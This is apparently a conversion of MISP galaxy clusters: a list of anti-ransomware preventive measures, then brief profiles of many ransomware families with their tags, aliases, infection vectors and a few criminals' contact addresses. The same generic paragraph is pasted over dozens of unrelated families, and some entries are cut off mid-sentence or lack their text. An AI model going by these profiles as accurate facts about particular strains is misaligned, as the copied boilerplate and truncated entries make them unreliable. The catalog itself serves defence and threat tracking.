## Preventive Measure

Preventive measures based on the ransomware document overview as published in [https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml#](https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml#). The preventive measures are quite generic and can fit any standard Windows infrastructure and their security measures..

Preventive Measure is a cluster galaxy available in JSON format at [this location](#). The JSON format can be freely reused in your application or automatically enabled.

Filter Attachments Level 1

Filter the following attachments on your mail gateway: .ade, .adp, .ani, .bas, .bat, .chm, .cmd, .com, .cpl, .crt, .exe, .hlp, .ht, .hta, .inf, .ins, .isp, .jar, .job, .js, .jse, .lnk, .mda, .mdb, .mde, .mdz, .msc, .msi, .msp, .mst, .ocx, .pdc, .ps1, .reg, .scr, .sct, .shs, .svg, .url, .vb, .vbe, .vbs, .wbk, .wsc, .ws, .wsf, .wsh, .exe, .pif, .pub

The tag is: misp-galaxy:preventive-measure="Filter Attachments Level 1"

Filter Attachments Level 2

Filter the following attachments on your mail gateway: (Filter expression of Level 1 plus) .doc, .xls, .rtf, .docm, .xlsm, .pptm

The tag is: misp-galaxy:preventive-measure="Filter Attachments Level 2"

Restrict program execution

Block all program executions from the %LocalAppData% and %AppData% folder

The tag is: misp-galaxy:preventive-measure="Restrict program execution"

Show File Extensions

Set the registry key "HideFileExt" to 0 in order to show all file extensions, even of known file types. This helps avoiding cloaking tricks that use double extensions. (e.g. "not_a_virus.pdf.exe")

The tag is: misp-galaxy:preventive-measure="Show File Extensions"

Enforce UAC Prompt

Enforce administrative users to confirm an action that requires elevated rights

The tag is: misp-galaxy:preventive-measure="Enforce UAC Prompt"
Remove Admin Privileges

Remove and restrict administrative rights whenever possible. Malware can only modify files that users have write access to.

The tag is: `misp-galaxy:preventive-measure="Remove Admin Privileges"`

Restrict Workstation Communication

Activate the Windows Firewall to restrict workstation to workstation communication

The tag is: `misp-galaxy:preventive-measure="Restrict Workstation Communication"`

Sandboxing Email Input

Using sandbox that opens email attachments and removes attachments based on behavior analysis

The tag is: `misp-galaxy:preventive-measure="Sandboxing Email Input"`

Execution Prevention

Software that allows to control the execution of processes - sometimes integrated in Antivirus software Free: AntiHook, ProcessGuard, System Safety Monitor

The tag is: `misp-galaxy:preventive-measure="Execution Prevention"`

Change Default "Open With" to Notepad

Force extensions primarily used for infections to open up in Notepad rather than Windows Script Host or Internet Explorer

The tag is: `misp-galaxy:preventive-measure="Change Default "Open With" to Notepad"

File Screening

Server-side file screening with the help of File Server Resource Manager

The tag is: `misp-galaxy:preventive-measure="File Screening"`
Restrict program execution #2

Block program executions (AppLocker)

The tag is: *misp-galaxy:preventive-measure="Restrict program execution #2"*

EMET

Detect and block exploitation techniques

The tag is: *misp-galaxy:preventive-measure="EMET"*

Sysmon

Detect Ransomware in an early stage with new Sysmon 5 File/Registry monitoring

The tag is: *misp-galaxy:preventive-measure="Sysmon"*

Blacklist-phone-numbers

Filter the numbers at phone routing level including PABX

The tag is: *misp-galaxy:preventive-measure="Blacklist-phone-numbers"*
## ACL

Restrict access to shares users should not be allowed to write to

The tag is: `misp-galaxy:preventive-measure="ACL"`

## Packet filtering

Limit access to a service by network/packet filtering the access to

The tag is: `misp-galaxy:preventive-measure="Packet filtering"`

### Nhtnwcuf Ransomware (Fake)

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.
CryptoJacky Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="CryptoJacky Ransomware"`

Kaenlupuf Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Kaenlupuf Ransomware"`

EnjeyCrypter Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="EnjeyCrypter Ransomware"`
Dangerous Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: `misp-galaxy:ransomware="Dangerous Ransomware"`

Vortex Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: `misp-galaxy:ransomware="Vortex Ransomware"`

Vortex Ransomware is also known as:

- Ŧłėtę́ rręczę́řę́

GC47 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: `misp-galaxy:ransomware="GC47 Ransomware"`
RozaLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware=*"RozaLocker Ransomware"

RozaLocker Ransomware is also known as:

• Roza

CryptoMeister Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware=*"CryptoMeister Ransomware"

GG Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Hewlett-Packard 2016

The tag is: *misp-galaxy:ransomware=*"GG Ransomware"
**Project34 Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Project34 Ransomware"`

**PetrrWrap Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="PetrrWrap Ransomware"`

**Karmen Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. RaaS, baed on HiddenTear

The tag is: `misp-galaxy:ransomware="Karmen Ransomware"`
Revenge Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoMix / CryptFile2 Variant

The tag is: misp-galaxy:ransomware="Revenge Ransomware"

Turkish FileEncryptor Ransomware

his is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Turkish FileEncryptor Ransomware"

Turkish FileEncryptor Ransomware is also known as:

• Fake CTB-Locker

Kirk Ransomware & Spock Decryptor

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam,
fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc. Payments in Monero

The tag is: \textit{misp-galaxy:ransomware}="Kirk Ransomware & Spock Decryptor"

Kirk Ransomware & Spock Decryptor is also known as:

- Kirk & Spock Decryptor

CIA Special Agent 767 Ransomware (FAKE!!!)

It’s directed to English speaking users, therefore is able to infect users all over the world. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... Your files are not really encrypted and nothing actually happens, however the hacker does ask the victim to
pay a sum of 100$, after 5 days the sum goes up to 250$ and thereafter to 500$. After the payment is received, the victim gets the following message informing him that he has been fooled and he simply needed to delete the note. https://4.bp.blogspot.com/-T8iSbbGOz84/WFGZEbuRfCI/AAAAAAAACm0/SO8Srwx2UIM3FPZcZl7W76oSDCsnq2vfgCPcB/s1600/code2.jpg

The tag is: misp-galaxy:ransomware="CIA Special Agent 767 Ransomware (FAKE!!!)"

**Jaff**

We recently observed several large scale email campaigns that were attempting to distribute a new variant of ransomware that has been dubbed "Jaff". Interestingly we identified several characteristics that we have previously observed being used during Dridex and Locky campaigns. In a short period of time, we observed multiple campaigns featuring high volumes of malicious spam emails being distributed, each using a PDF attachment with an embedded Microsoft Word document functioning as the initial downloader for the Jaff ransomware.

**SynAck**

The ransomware does not use a customized desktop wallpaper to signal its presence, and the only way to discover that SynAck has infected your PC is by the ransom notes dropped on the user’s desktop, named in the format: RESTORE_INFO-[id].txt. For example: RESTORE_INFO-4ABFA0EF.txt
In addition, SynAck also appends its own extension at the end of all files it encrypted. This file extensions format is ten random alpha characters for each file. For example: test.jpg.XbMiJQiuoh. Experts believe the group behind SynAck uses RDP brute-force attacks to access remote computers and manually download and install the ransomware.

The tag is: `misp-galaxy:ransomware="SynAck"`

Bad Rabbit

On October 24, 2017, Cisco Talos was alerted to a widespread ransomware campaign affecting organizations across eastern Europe and Russia. As was the case in previous situations, we quickly mobilized to assess the situation and ensure that customers remain protected from this and other threats as they emerge across the threat landscape. There have been several large scale ransomware campaigns over the last several months. This appears to have some similarities to Nyetya in that it is also based on Petya ransomware. Major portions of the code appear to have been rewritten. The distribution does not appear to have the sophistication of the supply chain attacks we have seen recently.

StorageCrypt

Recently BleepingComputer has received a flurry of support requests for a new ransomware being named StorageCrypt that is targeting NAS devices such as the Western Digital My Cloud. Victims have been reporting that their files have been encrypted and a note left with a ransom demand of between .4 and 2 bitcoins to get their files back. Users have also reported that each share on their NAS device contains an Autorun.inf file and a Windows executable named 美女与野兽.exe, which translates to Beauty and the beast. From the samples BleepingComputer has received, this Autorun.inf is an attempt to spread the 美女与野兽.exe file to other computers that open the folders on the NAS devices.

The tag is: misp-galaxy:ransomware="StorageCrypt"

HC7

A new ransomware called HC7 is infecting victims by hacking into Windows computers that are running publicly accessible Remote Desktop services. Once the developers gain access to the hacked computer, the HC7 ransomware is then installed on all accessible computers on the network. Originally released as HC6, victims began posting about it in the BleepingComputer forums towards the end of November. As this is a Python-to-exe executable, once the script was extracted ID Ransomware creator Michael Gillespie was able determine that it was decryptable and released a decryptor. Unfortunately, a few days later, the ransomware developers released a new version called HC7 that was not decryptable. This is because they removed the hard coded encryption key and instead switched to inputting the key as a command line argument when the attackers run the ransomware executable. Thankfully, there may be a way to get around that as well so that victims can recover their keys.

The tag is: misp-galaxy:ransomware="HC7"

Scarab

The Scarab ransomware is a relatively new ransomware strain that was first spotted by security researcher Michael Gillespie in June this year. Written in Delphi, the first version was simplistic and was recognizable via the ".scarab" extension it appended after the names of encrypted files. Malwarebytes researcher Marcelo Rivera spotted a second version in July that used the ".scorpio" extension. The version spotted with the Necurs spam today has reverted back to using the .scarab extension. The current version of Scarab encrypts files but does not change original file names as previous versions. This Scarab version appends each file's name with the ".[support@protonmail.com].scarab" extension. Scarab also deletes shadow volume copies and drops a ransom note named "IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT" on users' computers, which it opens immediately.

The tag is: `misp-galaxy:ransomware="Scarab"`
A new ransomware called File Spider is being distributed through spam that targets victims in Bosnia and Herzegovina, Serbia, and Croatia. These spam emails contain malicious Word documents that will download and install the File Spider ransomware onto a victim's computer. File Spider is currently being distributed through malspam that appears to be targeting countries such as Croatia, Bosnia and Herzegovina, and Serbia. The spam starts with subjects like “Potrazivanje dugovanja”, which translates to "Debt Collection" and whose message, according to Google Translate, appears to be in Serbian.

The tag is: *misp-galaxy:ransomware="File Spider"

**RSAUtil**

RSAUtil is distributed by the developer hacking into remote desktop services and uploading a package of files. This package contains a variety of tools, a config file that determines how the ransomware executes, and the ransomware itself.

The tag is: `misp-galaxy:ransomware="RSAUtil"`

RSAUtil is also known as:
Qwerty Ransomware

A new ransomware has been discovered that utilizes the legitimate GnuPG, or GPG, encryption program to encrypt a victim's files. Currently in the wild, this ransomware is called Qwerty Ransomware and will encrypt a victim's files, overwrite the originals, and append the .qwerty extension to an encrypted file's name.

The tag is: misp-galaxy:ransomware="Qwerty Ransomware"

Zenis Ransomware

A new ransomware was discovered this week by MalwareHunterTeam called Zenis Ransomware. While it is currently unknown how Zenis is being distributed, multiple victims have already become infected with this ransomware. What is most disturbing about Zenis is that it not encrypts your files, but also purposely deletes your backups.

The tag is: misp-galaxy:ransomware="Zenis Ransomware"

Flotera Ransomware

The tag is: misp-galaxy:ransomware="Flotera Ransomware"
**Black Ruby**

A new ransomware was discovered this week by MalwareHunterTeam called Black Ruby. This ransomware will encrypt the files on a computer, scramble the file name, and then append the BlackRuby extension. To make matters worse, Black Ruby will also install a Monero miner on the computer that utilizes as much of the CPU as it can. Discovered on February 6, 2018. May have been distributed through unknown vectors. Will not encrypt a machine if its IP address is identified as coming from Iran; this feature enables actors to avoid a particular Iranian cybercrime law that prohibits Iran-based actors from attacking Iranian victims. Encrypts files on the infected machine, scrambles files, and append the .BlackRuby extension to them. Installs a Monero miner on the infected computer that utilizes the machine's maximum CPU power. Delivers a ransom note in English asking for US$650 in Bitcoins. Might be installed via Remote Desktop Services.

The tag is: `misp-galaxy:ransomware="Black Ruby"`

Black Ruby is also known as:

- BlackRuby

**WhiteRose**

A new ransomware has been discovered by MalwareHunterTeam that is based off of the InfiniteTear ransomware family, of which BlackRuby and Zenis are members. When this ransomware infects a computer it will encrypt the files, scramble the filenames, and append the .WHITEROSE extension to them.

The tag is: `misp-galaxy:ransomware="WhiteRose"`
PUBG Ransomware

In what could only be a joke, a new ransomware has been discovered called "PUBG Ransomware" that will decrypt your files if you play the game called PlayerUnknown's Battlegrounds. Discovered by MalwareHunterTeam, when the PUBG Ransomware is launched it will encrypt a user's files and folders on the user's desktop and append the .PUBG extension to them. When it has finished encrypting the files, it will display a screen giving you two methods that you can use to decrypt the encrypted files.

The tag is: `misp-galaxy:ransomware="PUBG Ransomware"`

LockCrypt

LockCrypt is an example of yet another simple ransomware created and used by unsophisticated attackers. Its authors ignored well-known guidelines about the proper use of cryptography. The internal structure of the application is also unprofessional. Sloppy, unprofessional code is pretty commonplace when ransomware is created for manual distribution. Authors don't take much time preparing the attack or the payload. Instead, they're rather focused on a fast and easy gain, rather than on creating something for the long run. Because of this, they could easily be defeated.

The tag is: `misp-galaxy:ransomware="LockCrypt"`

Magniber Ransomware

Magniber is a new ransomware being distributed by the Magnitude Exploit Kit that appears to be the successor to the Cerber Ransomware. While many aspects of the Magniber Ransomware are different than Cerber, the payment system and the files it encrypts are very similar.

**Reveton ransomware**

A ransomware family that targets users from certain countries or regions. It locks the computer and displays a location-specific webpage that covers the desktop and demands that the user pay a fine for the supposed possession of illicit material. The Reveton ransomware is one of the first screen-locking ransomware strains, and it appeared when Bitcoin was still in its infancy, and before it became the cryptocurrency of choice in all ransomware operations. Instead, Reveton operators asked victims to buy GreenDot MoneyPak vouchers, take the code on the voucher and enter it in the Reveton screen locker.

**Fusob**

Fusob is one of the major mobile ransomware families. Between April 2015 and March 2016, about
56 percent of accounted mobile ransomware was Fusob. Like a typical mobile ransomware, it employs scare tactics to extort people to pay a ransom. The program pretends to be an accusatory authority, demanding the victim to pay a fine from $100 to $200 USD or otherwise face a fictitious charge. Rather surprisingly, Fusob suggests using iTunes gift cards for payment. Also, a timer clicking down on the screen adds to the users’ anxiety as well. In order to infect devices, Fusob masquerades as a pornographic video player. Thus, victims, thinking it is harmless, unwittingly download Fusob. When Fusob is installed, it first checks the language used in the device. If it uses Russian or certain Eastern European languages, Fusob does nothing. Otherwise, it proceeds on to lock the device and demand ransom. Among victims, about 40% of them are in Germany with the United Kingdom and the United States following with 14.5% and 11.4% respectively. Fusob has lots in common with Small, which is another major family of mobile ransomware. They represented over 93% of mobile ransomwares between 2015 and 2016.

NMCRYPT Ransomware

The NMCRYPT Ransomware is a generic file encryption Trojan that was detected in the middle of April 2018. The NMCRYPT Ransomware is a file encoder Trojan that is designed to make data unreadable and convince users to pay a fee for unlocking content on the infected computers. The NMCRYPT Ransomware is nearly identical to hundreds of variants of the HiddenTear open-source ransomware and compromised users are unable to use the Shadow Volume snapshots made by Windows to recover. Unfortunately, the NMCRYPT Ransomware disables the native recovery features on Windows, and you need third-party applications to rebuild your data.

**HPE iLO 4 Ransomware**

Attackers are targeting Internet accessible HPE iLO 4 remote management interfaces, supposedly encrypting the hard drives, and then demanding Bitcoins to get access to the data again. According to the victim, the attackers are demanding 2 bitcoins to gain access to the drives again. The attackers will also provide a bitcoin address to the victim that should be used for payment. These bitcoin addresses appear to be unique per victim as the victim’s was different from other reported ones. An interesting part of the ransom note is that the attackers state that the ransom price is not negotiable unless the victim’s are from Russia. This is common for Russian based attackers, who in many cases tries to avoid infecting Russian victims. Finally, could this be a decoy/wiper rather than an actual true ransomware attack? Ransomware attacks typically provide a unique ID to the victim in order to distinguish one victim from another. This prevents a victim from "stealing" another victim’s payment and using it to unlock their computer. In a situation like this, where no unique ID is given to identify the encrypted computer and the email is publicly accessible, it could be a case where the main goal is to wipe a server or act as a decoy for another attack.

**Sigrun Ransomware**

When Sigrun is executed it will first check "HKEY_CURRENT_USER\Keyboard Layout\Preload" to see if it is set to the Russian layout. If the computer is using a Russian layout, it will not encrypt the computer and just delete itself. Otherwise Sigrun will scan a computer for files to encrypt and skip any that match certain extensions, filenames, or are located in particular folders.

The tag is: *misp-galaxy:ransomware="Sigrun Ransomware"

The tag is: *misp-galaxy:ransomware=*“CryBrazil”*

**Pedcont**

new destructive ransomware called Pedcont that claims to encrypt files because the victim has accessed illegal content on the deep web. The screen then goes blank and becomes unresponsive.

The tag is: *misp-galaxy:ransomware=*“Pedcont”*

**DiskDoctor**

new Scarab Ransomware variant called DiskDoctor that appends the .DiskDoctor extension and drops a ransom note named HOW TO RECOVER ENCRYPTED FILES.TXT

The tag is: *misp-galaxy:ransomware=*“DiskDoctor”*

DiskDoctor is also known as:

- Scarab-DiskDoctor
RedEye

Jakub Kroustek discovered the RedEye Ransomware, which appends the .RedEye extension and wipes the contents of the files. RedEye can also rewrite the MBR with a screen that gives authors contact info and YouTube channel. Bart also wrote an article on this ransomware detailing how it works and what it does on a system. The ransomware author contacted BleepingComputer and told us that this ransomware was never intended for distribution and was created just for fun.

The tag is: misp-galaxy:ransomware="RedEye"

Aurora Ransomware

Typical ransom software, Aurora virus plays the role of blackmailing PC operators. It encrypts files and the encryption cipher it uses is pretty strong. After encryption, the virus attaches .aurora at the end of the file names that makes it impossible to open the data. Thereafter, it dispatches the ransom note totaling 6 copies, without any change to the main objective i.e., victims must write an electronic mail addressed to anonimus.mr@yahoo.com while stay connected until the criminals reply telling the ransom amount.

The tag is: misp-galaxy:ransomware="Aurora Ransomware"

Aurora Ransomware is also known as:

• Zorro Ransomware

**DBGer Ransomware**

The authors of the Satan ransomware have rebranded their "product" and they now go by the name of DBGer ransomware, according to security researcher MalwareHunter, who spotted this new version earlier today. The change was not only in name but also in the ransomware's modus operandi. According to the researcher, whose discovery was later confirmed by an Intezer code similarity analysis, the new (Satan) DBGer ransomware now also incorporates Mimikatz, an open-source password-dumping utility. The purpose of DBGer incorporating Mimikatz is for lateral movement inside compromised networks. This fits a recently observed trend in Satan’s modus
RASTAKHIZ

Hidden Tear variant discovered in October 2016. After activation, provides victims with an unlimited amount of time to gather the requested ransom money and pay it. Related unlock keys and the response sent to and from a Gmail address

The tag is: *misp-galaxy:ransomware="RASTAKHIZ"*

TYRANT

DUMB variant discovered on November 16, 2017. Disguised itself as a popular virtual private network (VPN) in Iran known as Psiphon and infected Iranian users. Included Farsi-language ransom note, decryptable in the same way as previous DUMB-based variants. Message requested only US$15 for unlock key. Advertised two local and Iran-based payment processors: exchange.ir and webmoney.ir. Shared unique and specialized indicators with RASTAKHIZ; iDefense threat intelligence analysts believe this similarity confirms that the same actor was behind the repurposing of both types of ransomware.

The tag is: *misp-galaxy:ransomware="TYRANT"*

TYRANT is also known as:

- Crypto Tyrant

Ryuk ransomware

Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat
actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk's appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD.

The tag is: `misp-galaxy:ransomware="Ryuk ransomware"`

### Table 7893. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**BitPaymer**

In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.'s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.

The tag is: `misp-galaxy:ransomware="BitPaymer"`

BitPaymer is also known as:

- FriedEx
- IEncrypt

Princess Evolution

We have been observing a malvertising campaign via Rig exploit kit delivering a cryptocurrency-mining malware and the GandCrab ransomware since July 25. On August 1, we found Rig’s traffic stream dropping a then-unknown ransomware. Delving into this seemingly new ransomware, we checked its ransom payment page in the Tor network and saw it was called Princess Evolution (detected by Trend Micro as RANSOM_PRINCESSLOCKER.B), and was actually a new version of the Princess Locker ransomware that emerged in 2016. Based on its recent advertisement in underground forums, it appears that its operators are peddling Princess Evolution as a ransomware as a service (RaaS) and are looking for affiliates. The new malvertising campaign we observed since July 25 is notable in that the malvertisements included Coinhive (COINMINER_MALXMR.TIDBF). Even if users aren’t diverted to the exploit kit and infected with the ransomware, the cybercriminals can still earn illicit profit through cryptocurrency mining. Another characteristic of this new campaign is that they hosted their malvertisement page on a free web hosting service and used domain name system canonical name (DNS CNAME) to map their advertisement domain on a malicious webpage on the service.

The tag is: `misp-galaxy:ransomware="Princess Evolution"`

Princess Evolution is also known as:

- PrincessLocker Evolution

Jokeroo

A new Ransomware-as-a-Service called Jokeroo is being promoted on underground hacking sites and via Twitter that allows affiliates to allegedly gain access to a fully functional ransomware and payment server. According to a malware researcher named Damian, the Jokeroo RaaS first started promoting itself as a GandCrab Ransomware RaaS on the underground hacking forum Exploit.in.

The tag is: `misp-galaxy:ransomware="Jokeroo"`

Jokeroo is also known as:

- Fake GandCrab
GlobeImposter

During December 2017, a new variant of the GlobeImposter Ransomware was detected for the first time and reported on malware-traffic-analysis. At first sight this ransomware looks very similar to other ransomware samples and uses common techniques such as process hollowing. However, deeper inspection showed that like LockPoS, which was analyzed by CyberBit, GlobeImposter too bypasses user-mode hooks by directly invoking system calls. Given this evasion technique is being leveraged by new malware samples may indicate that this is a beginning of a trend aiming to bypass user-mode security products.

**Sodinokibi**

Attackers are actively exploiting a recently disclosed vulnerability in Oracle WebLogic to install a new variant of ransomware called "Sodinokibi." Sodinokibi attempts to encrypt data in a user's directory and delete shadow copy backups to make data recovery more difficult. Oracle first patched the issue on April 26, outside of their normal patch cycle, and assigned it CVE-2019-2725. This vulnerability is easy for attackers to exploit, as anyone with HTTP access to the WebLogic server could carry out an attack. Because of this, the bug has a CVSS score of 9.8/10. Attackers have been making use of this exploit in the wild since at least April 17. Cisco's Incident Response (IR) team, along with Cisco Talos, are actively investigating these attacks and Sodinokibi.

The tag is: misp-galaxy:ransomware="Sodinokibi"

Sodinokibi is also known as:

- REvil
- Revil

**Phobos**

Phobos exploits open or poorly secured RDP ports to sneak inside networks and execute a ransomware attack, encrypting files and demanding a ransom be paid in bitcoin for returning the files, which in this case are locked with a .phobos extension.

The tag is: misp-galaxy:ransomware="Phobos"

Phobos is also known as:

- Java NotDharma

**GetCrypt**

A new ransomware is in the dark market which encrypts all the files on the device and redirects victims to the RIG exploit kit.

The tag is: misp-galaxy:ransomware="GetCrypt"
Nemty

A new ransomware family dubbed “Nemty” for the extension it adds to encrypted files has recently surfaced in the wild. According to a report from Bleeping Computer, New York-based reverse engineer Vitali Kremez posits that Nemty is possibly delivered through exposed remote desktop connections.

The tag is: `misp-galaxy:ransomware="Nemty"`

**PornBlackmailer**

A new infection is being distributed by porn sites that tries to blackmail a victim into paying a ransom by stating they will tell law enforcement that the victim is spreading child porn. This is done by collecting information about the user, including screen shots of their active desktop, in order to catch them in compromising situations.

The tag is: *misp-galaxy:ransomware="PornBlackmailer"*

**KingOuroboros**

This crypto-extortioner encrypts user data using AES, and then requires a $30- $50- $80 buy-back to BTC to return the files. The name is original. Written on AutoIt.

The tag is: *misp-galaxy:ransomware="KingOuroboros"*

**MAFIA Ransomware**

The ransomware appears to target users in Korea, and may have been developed with at least knowledge of the Korean language.

The tag is: *misp-galaxy:ransomware="MAFIA Ransomware"*

MAFIA Ransomware is also known as:

- Mafia

**5ss5c Ransomware**

The cybercrime group that brought us Satan, DBGer and Lucky ransomware and perhaps Iron ransomware, has now come up with a new version or rebranding named 5ss5c. [...] It will however only encrypt files with the following extensions: 7z, bak, cer, csv, db, dbf, dmp, docx, eps, idf, mdb,
Nodera Ransomware

Nodera is a ransomware family that uses the Node.js framework and was discovered by Quick Heal researchers. The infection chain starts with a VBS script embedded with multiple JavaScript files. Upon execution, a directory is created and both the main node.exe program and several required NodeJS files are downloaded into the directory. Additionally, a malicious JavaScript payload that performs the encryption process is saved in this directory. After checking that it has admin privileges and setting applicable variables, the malicious JavaScript file enumerates the drives to create a list of targets. Processes associated with common user file types are stopped and volume shadow copies are deleted. Finally, all user-specific files on the C: drive and all files on other drives are encrypted and are appended with a .encrypted extension. The ransom note containing instructions on paying the Bitcoin ransom are provided along with a batch script to be used for decryption after obtaining the private key. Some mistakes in the ransom note identified by the researchers include the fact that it mentions a 2048-bit RSA public key instead of 4096-bit (the size that was actually used), a hard-coded private key destruction time dating back almost 2 years ago, and a lack of instructions for how the private key will be obtained after the ransom is paid. These are signs that the ransomware may be in the development phase and was likely written by an amateur. For more information, see the QuickHeal blog post in the Reference section below.

The tag is: misp-galaxy:ransomware="Nodera Ransomware"

Nodera Ransomware is also known as:

- Nodera

MegaCortex

Discovered in May 2019. dropped throught networks compromised by trojan like Emotet or TrickBot. Tools and methods used are similar to LockerGoga

The tag is: misp-galaxy:ransomware="MegaCortex"
MegaCortex has relationships with:

- similar: misp-galaxy:ransomware="LockerGoga" with estimative-language:likelihood-probability="roughly-even-chance"

**RobinHood**

Detected in April 2019. Known for paralyzing the cities of Baltimore and Greenville. Probably also exfiltrate data

The tag is: misp-galaxy:ransomware="RobinHood"

RobinHood is also known as:

- HelpYemen

**Bart ransomware**

Bart ransomware is distributed by the same Russian Cyber Mafia behind Dridex 220 and Locky. Bart doesn’t communicate with a command and control (C&C) server, so it can encrypt files without being connected to a computer. Bart is spread to end users via phishing emails containing .zip attachments with JavaScript Code and use social engineering to trick users into opening the ‘photo’ attachments. The zipped files are obfuscated to make it more hard to tell what actions they are performing. See screenshot above for an example of what they look like. If opened, these attachments download and install the intermediary loader RockLoader which downloads Bart onto the machine over HTTPS. Once executed, it will first check the language on the infected computer. If the malware detects Russian, Belorussian, or Ukrainian, the ransomware will terminate and will not proceed with the infection. If it’s any other language, it will start scanning the computer for certain file extensions to encrypt. Because Bart does not require communication with C&C infrastructure prior to encrypting files, Bart could possibly encrypt machines sitting behind corporate firewalls that would otherwise block such traffic. Thus, organizations need to ensure that Bart is blocked at the email gateway using rules that block zipped executables.

The tag is: misp-galaxy:ransomware="Bart ransomware"

Bart ransomware is also known as:

- Locky Bart
Razor

Razor was discovered by dnwls0719, it is a part of Garrantydecrypt ransomware family. Like many other programs of this type, Razor is designed to encrypt files (make them unusable/inaccessible), change their filenames, create a ransom note and change victim’s desktop wallpaper. Razor renames files by appending the ".razor" extension to their filenames. For example, it renames "1.jpg" to "1.jpg.razor", and so on. It creates a ransom note which is a text file named "RECOVERY.txt", this file contains instructions on how to contact Razor's developers (cyber criminals) and other details. As stated in the "RECOVERY.txt" file, this ransomware encrypts all files and information about how to purchase a decryption tool can be received by contacting Razor's developers. Victims supposed to contact them via razor2020@protonmail.ch, Jabber client (razor2020@jxmpp.jp) or ICQ client (@razor2020) and wait for further instructions. It is very likely that they will name a price of a decryption tool and/or key and provide cryptocurrency wallet’s address that should be used to make a transaction. However, it is never a good idea to trust (pay) any cyber criminals/ransomware developers. It is common that they do not provide decryption tools even after a payment. Another problem is that ransomware-type programs encrypt files with strong encryption algorithms and their developers are the only ones who have tools that can decrypt files encrypted by their ransomware. In most cases victims have the only free and safe option: to restore files from a backup. 